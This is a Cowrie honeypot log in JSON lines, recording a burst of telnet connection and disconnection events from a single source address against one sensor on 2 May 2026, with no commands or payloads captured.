{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55068,"dst_ip":"10.17.0.5","dst_port":23,"session":"f58f2d091547","protocol":"telnet","message":"New connection: 23.111.140.22:55068 (10.17.0.5:23) [session: f58f2d091547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:53.067548Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33138,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bc6ffd3724c","protocol":"telnet","message":"New connection: 23.111.140.22:33138 (10.17.0.5:23) [session: 2bc6ffd3724c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:54.065910Z"}
{"eventid":"cowrie.session.closed","duration":31.72295641899109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:54.382583Z","src_ip":"23.111.140.22","session":"724572d50088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.00995635986328,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:54.460444Z","src_ip":"23.111.140.22","session":"3660daad5508","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35280,"dst_ip":"10.17.0.5","dst_port":23,"session":"67743c52c2b8","protocol":"telnet","message":"New connection: 23.111.140.22:35280 (10.17.0.5:23) [session: 67743c52c2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:54.774441Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35836,"dst_ip":"10.17.0.5","dst_port":23,"session":"75ab29b29e7a","protocol":"telnet","message":"New connection: 23.111.140.22:35836 (10.17.0.5:23) [session: 75ab29b29e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:54.958868Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36232,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c22d4a40ff","protocol":"telnet","message":"New connection: 23.111.140.22:36232 (10.17.0.5:23) [session: 47c22d4a40ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:55.077804Z"}
{"eventid":"cowrie.session.closed","duration":31.40736961364746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:55.816410Z","src_ip":"23.111.140.22","session":"b374250d3ab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36224,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d6cd005e6c3","protocol":"telnet","message":"New connection: 23.111.140.22:36224 (10.17.0.5:23) [session: 7d6cd005e6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:56.074547Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36618,"dst_ip":"10.17.0.5","dst_port":23,"session":"697bd37beb6a","protocol":"telnet","message":"New connection: 23.111.140.22:36618 (10.17.0.5:23) [session: 697bd37beb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:56.247200Z"}
{"eventid":"cowrie.session.closed","duration":31.862396717071533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:56.365047Z","src_ip":"23.111.140.22","session":"4a25f39e9d46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.93138837814331,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:56.877727Z","src_ip":"23.111.140.22","session":"283c0838d5d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39148,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef8b371ab0a2","protocol":"telnet","message":"New connection: 23.111.140.22:39148 (10.17.0.5:23) [session: ef8b371ab0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:57.041112Z"}
{"eventid":"cowrie.session.closed","duration":33.26097893714905,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:57.300750Z","src_ip":"23.111.140.22","session":"69021a2144fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.53854322433472,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:57.644643Z","src_ip":"23.111.140.22","session":"94728cacd8bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81517672538757,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:57.745349Z","src_ip":"23.111.140.22","session":"2b35f1aa4971","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.134328842163086,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:57.885323Z","src_ip":"23.111.140.22","session":"11eb8174a5ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44972,"dst_ip":"10.17.0.5","dst_port":23,"session":"65a07c5e3093","protocol":"telnet","message":"New connection: 23.111.140.22:44972 (10.17.0.5:23) [session: 65a07c5e3093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:57.892059Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46452,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a1709262c3e","protocol":"telnet","message":"New connection: 23.111.140.22:46452 (10.17.0.5:23) [session: 1a1709262c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:58.365783Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44218,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e1489d25437","protocol":"telnet","message":"New connection: 23.111.140.22:44218 (10.17.0.5:23) [session: 6e1489d25437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:58.671270Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45806,"dst_ip":"10.17.0.5","dst_port":23,"session":"130ab34c1643","protocol":"telnet","message":"New connection: 23.111.140.22:45806 (10.17.0.5:23) [session: 130ab34c1643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:59.137670Z"}
{"eventid":"cowrie.session.closed","duration":31.388453722000122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:59.230232Z","src_ip":"23.111.140.22","session":"42e8a3ccf723","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93916344642639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:59.293473Z","src_ip":"23.111.140.22","session":"529a5fb78194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47098,"dst_ip":"10.17.0.5","dst_port":23,"session":"3284f84bc41a","protocol":"telnet","message":"New connection: 23.111.140.22:47098 (10.17.0.5:23) [session: 3284f84bc41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:59.577320Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52022,"dst_ip":"10.17.0.5","dst_port":23,"session":"07cfe734edc7","protocol":"telnet","message":"New connection: 23.111.140.22:52022 (10.17.0.5:23) [session: 07cfe734edc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.124435Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52052,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad9d05c0a30","protocol":"telnet","message":"New connection: 23.111.140.22:52052 (10.17.0.5:23) [session: 8ad9d05c0a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.130696Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52304,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8085fe1dcb2","protocol":"telnet","message":"New connection: 23.111.140.22:52304 (10.17.0.5:23) [session: e8085fe1dcb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.204887Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52358,"dst_ip":"10.17.0.5","dst_port":23,"session":"033b5ebb6e78","protocol":"telnet","message":"New connection: 23.111.140.22:52358 (10.17.0.5:23) [session: 033b5ebb6e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.232189Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46178,"dst_ip":"10.17.0.5","dst_port":23,"session":"404e98be26da","protocol":"telnet","message":"New connection: 23.111.140.22:46178 (10.17.0.5:23) [session: 404e98be26da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.291618Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52612,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b0b8899462","protocol":"telnet","message":"New connection: 23.111.140.22:52612 (10.17.0.5:23) [session: 37b0b8899462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.311476Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52638,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc519ace13e","protocol":"telnet","message":"New connection: 23.111.140.22:52638 (10.17.0.5:23) [session: 0fc519ace13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.326431Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53014,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a3f15574a01","protocol":"telnet","message":"New connection: 23.111.140.22:53014 (10.17.0.5:23) [session: 6a3f15574a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.452008Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50346,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cb49ed69bc7","protocol":"telnet","message":"New connection: 23.111.140.22:50346 (10.17.0.5:23) [session: 8cb49ed69bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.633028Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53918,"dst_ip":"10.17.0.5","dst_port":23,"session":"145ffe004738","protocol":"telnet","message":"New connection: 23.111.140.22:53918 (10.17.0.5:23) [session: 145ffe004738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.702637Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54228,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2143d4810bd","protocol":"telnet","message":"New connection: 23.111.140.22:54228 (10.17.0.5:23) [session: a2143d4810bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.782980Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54624,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7f25c030629","protocol":"telnet","message":"New connection: 23.111.140.22:54624 (10.17.0.5:23) [session: d7f25c030629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.893964Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54672,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e14af1bf530","protocol":"telnet","message":"New connection: 23.111.140.22:54672 (10.17.0.5:23) [session: 6e14af1bf530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.913038Z"}
{"eventid":"cowrie.session.closed","duration":31.98734736442566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:00.939776Z","src_ip":"23.111.140.22","session":"981764f33514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45438,"dst_ip":"10.17.0.5","dst_port":23,"session":"714b39d26a74","protocol":"telnet","message":"New connection: 23.111.140.22:45438 (10.17.0.5:23) [session: 714b39d26a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.059726Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55350,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a99ec81398d","protocol":"telnet","message":"New connection: 23.111.140.22:55350 (10.17.0.5:23) [session: 0a99ec81398d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.093956Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55404,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6ecf3c269a2","protocol":"telnet","message":"New connection: 23.111.140.22:55404 (10.17.0.5:23) [session: c6ecf3c269a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.113693Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55460,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e9b527797f","protocol":"telnet","message":"New connection: 23.111.140.22:55460 (10.17.0.5:23) [session: 13e9b527797f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.131052Z"}
{"eventid":"cowrie.session.closed","duration":31.18693780899048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.207014Z","src_ip":"23.111.140.22","session":"0d7f5518785c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55760,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fe315c15704","protocol":"telnet","message":"New connection: 23.111.140.22:55760 (10.17.0.5:23) [session: 2fe315c15704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.241527Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55848,"dst_ip":"10.17.0.5","dst_port":23,"session":"fed34920f4db","protocol":"telnet","message":"New connection: 23.111.140.22:55848 (10.17.0.5:23) [session: fed34920f4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.278931Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55926,"dst_ip":"10.17.0.5","dst_port":23,"session":"75f380a3cc85","protocol":"telnet","message":"New connection: 23.111.140.22:55926 (10.17.0.5:23) [session: 75f380a3cc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.305519Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55984,"dst_ip":"10.17.0.5","dst_port":23,"session":"e74d335c4643","protocol":"telnet","message":"New connection: 23.111.140.22:55984 (10.17.0.5:23) [session: e74d335c4643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.315985Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56492,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a4d4006278b","protocol":"telnet","message":"New connection: 23.111.140.22:56492 (10.17.0.5:23) [session: 0a4d4006278b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.487530Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56762,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ae32d9b0a4f","protocol":"telnet","message":"New connection: 23.111.140.22:56762 (10.17.0.5:23) [session: 1ae32d9b0a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.581044Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56880,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccb4719d0916","protocol":"telnet","message":"New connection: 23.111.140.22:56880 (10.17.0.5:23) [session: ccb4719d0916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.615733Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57324,"dst_ip":"10.17.0.5","dst_port":23,"session":"47bce6243ee4","protocol":"telnet","message":"New connection: 23.111.140.22:57324 (10.17.0.5:23) [session: 47bce6243ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.728296Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57878,"dst_ip":"10.17.0.5","dst_port":23,"session":"60630839a963","protocol":"telnet","message":"New connection: 23.111.140.22:57878 (10.17.0.5:23) [session: 60630839a963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.867273Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54812,"dst_ip":"10.17.0.5","dst_port":23,"session":"d785012b531f","protocol":"telnet","message":"New connection: 23.111.140.22:54812 (10.17.0.5:23) [session: d785012b531f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.943827Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54852,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfefa9579490","protocol":"telnet","message":"New connection: 23.111.140.22:54852 (10.17.0.5:23) [session: bfefa9579490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:01.995604Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58406,"dst_ip":"10.17.0.5","dst_port":23,"session":"63fd0b6d996c","protocol":"telnet","message":"New connection: 23.111.140.22:58406 (10.17.0.5:23) [session: 63fd0b6d996c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:02.020378Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55300,"dst_ip":"10.17.0.5","dst_port":23,"session":"163f5339a9f6","protocol":"telnet","message":"New connection: 23.111.140.22:55300 (10.17.0.5:23) [session: 163f5339a9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:02.074035Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58648,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c5b4c7f91d2","protocol":"telnet","message":"New connection: 23.111.140.22:58648 (10.17.0.5:23) [session: 1c5b4c7f91d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:02.090623Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56342,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfb57a6591dd","protocol":"telnet","message":"New connection: 23.111.140.22:56342 (10.17.0.5:23) [session: cfb57a6591dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:02.429279Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59806,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5145e6e142f","protocol":"telnet","message":"New connection: 23.111.140.22:59806 (10.17.0.5:23) [session: e5145e6e142f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:02.469489Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56616,"dst_ip":"10.17.0.5","dst_port":23,"session":"7287fab910f3","protocol":"telnet","message":"New connection: 23.111.140.22:56616 (10.17.0.5:23) [session: 7287fab910f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:02.526321Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60506,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b775465132e","protocol":"telnet","message":"New connection: 23.111.140.22:60506 (10.17.0.5:23) [session: 2b775465132e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:02.673898Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33634,"dst_ip":"10.17.0.5","dst_port":23,"session":"36fb0c0a4bee","protocol":"telnet","message":"New connection: 23.111.140.22:33634 (10.17.0.5:23) [session: 36fb0c0a4bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:03.070593Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58594,"dst_ip":"10.17.0.5","dst_port":23,"session":"f76a4afd1ca3","protocol":"telnet","message":"New connection: 23.111.140.22:58594 (10.17.0.5:23) [session: f76a4afd1ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:03.075729Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33768,"dst_ip":"10.17.0.5","dst_port":23,"session":"47b31a9c6adb","protocol":"telnet","message":"New connection: 23.111.140.22:33768 (10.17.0.5:23) [session: 47b31a9c6adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:03.133286Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34532,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1961cb7a2c1","protocol":"telnet","message":"New connection: 23.111.140.22:34532 (10.17.0.5:23) [session: d1961cb7a2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:03.386673Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52808,"dst_ip":"10.17.0.5","dst_port":23,"session":"4007ae49b915","protocol":"telnet","message":"New connection: 23.111.140.22:52808 (10.17.0.5:23) [session: 4007ae49b915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:03.392724Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53012,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeae56b59ddd","protocol":"telnet","message":"New connection: 23.111.140.22:53012 (10.17.0.5:23) [session: aeae56b59ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:03.454775Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40404,"dst_ip":"10.17.0.5","dst_port":23,"session":"214abbf521ab","protocol":"telnet","message":"New connection: 23.111.140.22:40404 (10.17.0.5:23) [session: 214abbf521ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:03.554859Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60706,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33d1cf45f8c","protocol":"telnet","message":"New connection: 23.111.140.22:60706 (10.17.0.5:23) [session: d33d1cf45f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:03.746438Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54336,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaf64c74f6de","protocol":"telnet","message":"New connection: 23.111.140.22:54336 (10.17.0.5:23) [session: aaf64c74f6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:03.860813Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37086,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8700381a492","protocol":"telnet","message":"New connection: 23.111.140.22:37086 (10.17.0.5:23) [session: f8700381a492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.156323Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33856,"dst_ip":"10.17.0.5","dst_port":23,"session":"806f71182971","protocol":"telnet","message":"New connection: 23.111.140.22:33856 (10.17.0.5:23) [session: 806f71182971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.170210Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37408,"dst_ip":"10.17.0.5","dst_port":23,"session":"f33ae94b8282","protocol":"telnet","message":"New connection: 23.111.140.22:37408 (10.17.0.5:23) [session: f33ae94b8282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.280377Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37706,"dst_ip":"10.17.0.5","dst_port":23,"session":"76fd8186c663","protocol":"telnet","message":"New connection: 23.111.140.22:37706 (10.17.0.5:23) [session: 76fd8186c663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.370755Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52872,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfd302b98509","protocol":"telnet","message":"New connection: 23.111.140.22:52872 (10.17.0.5:23) [session: dfd302b98509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.418026Z"}
{"eventid":"cowrie.session.closed","duration":30.941380739212036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:04.445115Z","src_ip":"23.111.140.22","session":"43f8294087b9","protocol":"telnet"}
